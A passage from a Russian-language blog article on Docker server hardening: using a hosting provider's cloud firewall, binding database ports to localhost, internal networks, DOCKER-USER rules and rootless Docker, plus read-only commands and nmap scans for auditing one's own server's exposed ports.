Бонусный рубеж: внешний фаервол в панели хостера (Cloud Firewall)
Предвижу справедливый вопрос в комментариях: «А зачем вообще бодаться с DOCKER-USER внутри виртуалки, если у любого нормального облачного провайдера есть внешний фаервол в панели управления?».
Всё так. Если вы хоститесь в условном Hetzner Cloud, DigitalOcean, AWS (Security Groups), Selectel или Timeweb, у вас есть отличный рубильник уровнем выше. Облачный фаервол работает на стороне гипервизора хостера и дропает лишние пакеты ещё на подлёте к виртуальной сетевой карте вашего сервера. До таблиц PREROUTING и DOCKER внутри гостевой ОС этот трафик физически не долетает, что бы там демон Докера ни накрутил в iptables. В том моём случае с Qdrant на хетцнеровской виртуалке мне как раз хватило бы одной галочки в разделе Firewalls в веб‑консоли, чтобы прикрыть всё, кроме 22, 80 и 443 портов, ещё до старта контейнеров.
Но полагаться исключительно на внешний фаервол в панели хостера, оставляя внутри 0.0.0.0:5432 — плохая привычка по двум причинам:
Человеческий фактор и переезды. Сегодня проект крутится на облачной VPS за панельным фаерволом, а через полгода вы перевозите этот же
docker-compose.ymlна выделенный сервер (bare‑metal) или к лоукост‑хостеру, где кроме голого KVM и белой подсети нет вообще ничего. По привычке делаетеdocker compose up -d— и база мгновенно распахивается на весь интернет.Трафик внутри локальной сети ДЦ. Часто в правилах облачных фаерволов люди без задней мысли разрешают весь трафик для приватной сети проекта (VPC) или забывают навесить профиль фаервола на только что созданную ноду.
Поэтому самый здоровый подход тут — эшелонированная оборона: внешний Cloud Firewall в панели хостера используем как грубый периметр (отсечь всё лишнее снаружи и не грузить ядро виртуалки обработкой мусорных пакетов от сканеров), а внутри самой ОС всё равно честно биндим локальные порты на 127.0.0.1 и прячем базы в internal‑сети.
Быстрая ревизия своего сервера
Чтобы не гадать, светит ли у вас прямо сейчас какой‑нибудь забытый Redis или Postgres в обход UFW, прогоните на сервере четыре простые проверки.
Для начала гляньте, на каких именно адресах висит docker-proxy:
ss -tlpn | grep docker-proxyЕсли видите в выводе 0.0.0.0: или [::]: напротив портов БД, очередей или внутренних сервисов — это повод сразу идти в docker-compose.yml и переписывать биндинг на 127.0.0.1:.
Дальше проверьте реальные правила проброса в самом ядре (потому что если в конфиге демона выключен userland-proxy, процессов docker-proxy в списке выше вообще не будет, а проброс через Netfilter продолжит работать):
iptables -t nat -L DOCKER -n -v
ip6tables -t nat -L DOCKER -n -v
# или для нативного бэкенда nftables в Docker 29+:
nft list table ip docker-bridges
nft list table ip6 docker-bridgesТретьим шагом посмотрите, прикрыта ли чем‑то транзитная цепочка (для классического бэкенда):
iptables -t filter -L DOCKER-USER -n -v
ip6tables -t filter -L DOCKER-USER -n -vЕсли там пусто и болтается один дефолтный RETURN на 0.0.0.0/0 — значит, всё, что вы увидели в DNAT на предыдущем шаге, доступно всему интернету.
Ну и самый надёжный финальный чек — просто просканируйте свой сервер с любой внешней машины (не забывая про флаг -6 для проверки IPv6):
nmap -Pn -T4 --open -p 1-65535 <IP_вашего_сервера>
nmap -6 -Pn -T4 --open -p 1-65535 <IPv6_вашего_сервера>Если в отчёте nmap вдруг нарисовались 3306, 5432, 6379, 27 017 или 9200 — самое время закрывать порты и проверять контейнеры на предмет незваных гостей.
Итого
Если коротко резюмировать, что стоит держать в голове при работе с Docker на живых серверах:
Порт базы или кэша нужен только локально на хосте (или для подключения через SSH‑туннель) — всегда явно биндим его на
127.0.0.1:5432:5432.Контейнеры общаются исключительно между собой внутри одного компоуз‑стека — вообще убираем секцию
portsи прячем базу в отдельную сеть с флагомinternal: true. Заодно отрежете контейнеру с БД выход в интернет, что спасает от половины векторов пост‑эксплуатации.Порт действительно нужно выставить наружу для конкретных внешних серверов — фильтруем трафик через цепочку
DOCKER-USER(или ставимufw-docker) и обязательно дублируем правила вip6tables, если на виртуалке поднят IPv6.Хочется раз и навсегда избавиться от конфликтов Докера с системным фаерволом — переезжаем на rootless Docker, он возвращает все проброшенные порты в стандартную цепочку
INPUTпод полный контроль UFW.Если хостер даёт бесплатный внешний фаервол в панели управления (Cloud Firewall / Security Groups) — обязательно включаем его как первый рубеж обороны. Он отстрелит пакеты ботов ещё на уровне гипервизора, задолго до того, как они коснутся сетевого стека вашей виртуалки и правил Докера.
Отдельно мне сейчас очень интересна тема с нативным nftables в 29-м Докере. Выпиливание DOCKER-USER ломает кучу привычных паттернов и старых ансибл‑плейбуков. Если кто‑то уже перетащил продакшен на firewall-backend=nftables — поделитесь в комментах, как организовали фильтрацию и какие грабли собрали по дороге, очень любопытно глянуть на живые конфиги. Ну и рассказывайте свои истории про ботов в забытых портах: у кого какой рекорд скорости прилёта майнера после docker compose up? Мои 1:52 пока держатся.
KioskNews shows a cleaned-up reading view extracted from the publisher’s page — the original always lives on their site, not ours.